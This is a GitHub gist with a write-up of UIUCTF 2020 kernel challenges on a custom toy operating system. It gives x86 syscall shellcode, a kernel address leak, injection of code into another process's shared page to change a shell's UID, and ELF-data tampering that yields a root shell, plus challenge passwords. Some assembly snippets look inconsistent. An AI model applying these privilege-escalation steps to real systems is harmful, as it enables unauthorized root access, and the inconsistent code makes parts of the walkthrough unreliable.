Skip to content

Instantly share code, notes, and snippets.

@incertia
Created July 20, 2020 14:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save incertia/36e658af5d0a0a453be79810cf84634f to your computer and use it in GitHub Desktop.
Save incertia/36e658af5d0a0a453be79810cf84634f to your computer and use it in GitHub Desktop.

UIUCTF Kernel Challenges

Kernel::Time_To_Start

You are tasked with logging into to the sandb0x user with 4-letter password starting with p. pwny seems like a good guess.

Whats_A_Syscall?

They want us to call syscall 14 with any argument. We assemble mov eax, 14; int 0x80 to b80e000000cd80.

kASLR_Leak

After making a few syscalls, we see that the ecx register gets filled with some 4MB aligned address. We add a mov ebx, 0x400000 to the previous assembly to obtain b80e000000bb00004000cd80.

Freaky_File_Descriptors

We first need some place to store strings. I discovered that the stack pointer during binexec lies somewhere in the 0x08240000 region so we can use that.

Next we assemble and run the following and input /sandb0x/freaky_fds.txt to store this string. The length 24 is the length of the string + 1. We need to do this otherwise we miss the final t.

mov eax, 4
mov ebx, 0
mov ecx, 0x08240000
mov edx, 24
int 0x80

Now that the string is in memory we can open the file and get a file descriptor out in eax.

mov eax, 2
mov ebx, 0x08240000
int 0x80

Read the file.

mov eax 4
mov ebx 1
mov ecx, 0x08240100
mov edx, 0x400
int 0x80

Close the file

mov eax 3
mov ebx 1
int 0x80

Open the file again, read it, and finally write to stdout.

mov eax 5
mov ebx 0
mov ecx, 0x08240100
mov edx, 0x400
int 0x80

Crazy_Caches

The TLB deals with memory mapping and we have no way of communicating with the crazy_caches process so we try reading out what is at the mmap address with mov eax, [0x0d048000], or a10080040d, and we see eax = 0xc3c3c3c3. Cool, so for some reason we have access to this page.

The psuedocode appears to run our code at 0x0d048400 when we set the uint32_t at 0x0d048000 to 0xdeadcode, and the most useful gadget here is REMOTE_SETUSER to switch the uid of our rash process. I assembled the following to and converted it to DWORDs for use in the shellcode we submit to binexec.

mov eax, 12
mov ebx, 3
int 0x80

Here is the shellcode. Care needs to be taken for endianness.

mov eax, 0x0d048000
mov dword ptr [eax+0x400], 0x00000cb8
mov dword ptr [eax+0x404], 0x0003bb00
mov dword ptr [eax+0x408], 0x80cd0000
mov dword ptr [eax], 0xdeadc0de

Running the above immediately pops the flag and we just switched the UID of our rash process.

Kernel::Run_it_as_Root

The documentation focuses a lot on the page allocator and mentions how a smaller program will not overwrite pre-existing program data. We use a similar shellcode to read in /bin/rash, the program we wish to escalate, and then we exec it. This will also unmap the page, so we need to remap it with a call to mmap. Reading some data from the mmap'ed region we can see an ELF header. We set it to \x80ELF to run as UID 0 in blocking mode.

Unfortunately we cannot unmap this page, and execing files from this state will cause the kernel to allocate a different page for the executable, so we quit binexec and launch it again. We now attempt to exec /users/.gitignore, which is an empty file, which will preserve our edited rash ELF data, giving us a root shell.

Interestingly enough if you wanted to try to cheese this challenge and guess the root password it is not difficult. Within the user shell you can su root with password hunter2.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment